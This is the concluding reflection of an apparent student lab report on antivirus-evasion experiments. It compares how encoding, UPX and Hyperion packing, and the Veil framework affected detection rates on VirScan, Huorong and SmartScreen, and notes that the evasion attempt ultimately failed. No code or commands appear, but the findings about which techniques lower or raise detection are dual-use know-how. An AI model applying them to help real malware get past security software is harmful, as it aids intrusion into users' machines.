这次实验让我印象最深的不是哪条命令跑通了,而是判断"有没有真的成功"比操作本身更难。任务二里,jar 带编码参数和不带参数的结果完全一样,一开始以为"编码对 jar 无效",后来比对解压后的 class 才发现编码根本没有执行;php 的 2/48 看起来最漂亮,实际是文件被编码器改坏、根本跑不起来。如果只盯着检出率,这两个结论都会写反。
因此我给自己定了两条判据:一是文件还能不能执行,二是报告页的哈希和本地产物对不对得上。
加壳的结果也超出了预期。原以为多加一层总比不加好,实测却是 UPX 完全没影响、Hyperion 让检出从 6 涨到 20。直到看到 ClamAV 报出 Win.Packer.Hyperion-1 才明白,壳本身就是强特征————它把"一个不认识的自编译程序"变成了"一个认识的可疑加壳程序"。组合技那一组更直接:编码、加壳一层层叠上去,检出反而一路回升,最后最低的竟是最朴素、什么壳都不加的那个。
Veil 那一节让我推翻了自己的一个判断。第一轮部署失败后,我写下“这个工具的依赖链已经与发行版脱节”,理由是 apt 找不到包、setup.sh 里四个下载地址全部失效。后来把软件源修好再查,veil 3.1.14 就躺在清华源里,一条 apt install 装完,连配置文件都是安装脚本自动写好的。真正坏掉的是我这台机器的包管理环境,不是那个工具。这个区别很大:前者意味着放弃,后者只需要改一条命令。差一点就把一个环境问题当成时代问题写进了报告。
最后在靶机上的结果,说实话有些挫败。样本在 VirScan 上只有 6/48,火绒连家族都认不出来,但下载被拦、双击被拦、放行之后一跑又被删。真正让我停下来想的是那个"已保护你的电脑"的弹窗————它根本不判断你是不是病毒,它只是不认识你。那一刻我才理解,杀软的重心已经从"识别恶意"转向"评估信任",而在这个维度上,编码、加壳、换加载器这些技术手段几乎没有空间。
这次实验我虽然没有实现免杀,也没能做出"与杀软共生"的结果,会话是靠人工加信任区跑起来的。但把四层拦截一层层拆开之后,我至少知道了每一层拦的是什么、为什么拦,以及自己做的每一步到底改变了哪一层。
六、参考资料
[1] 《免杀原理与实践》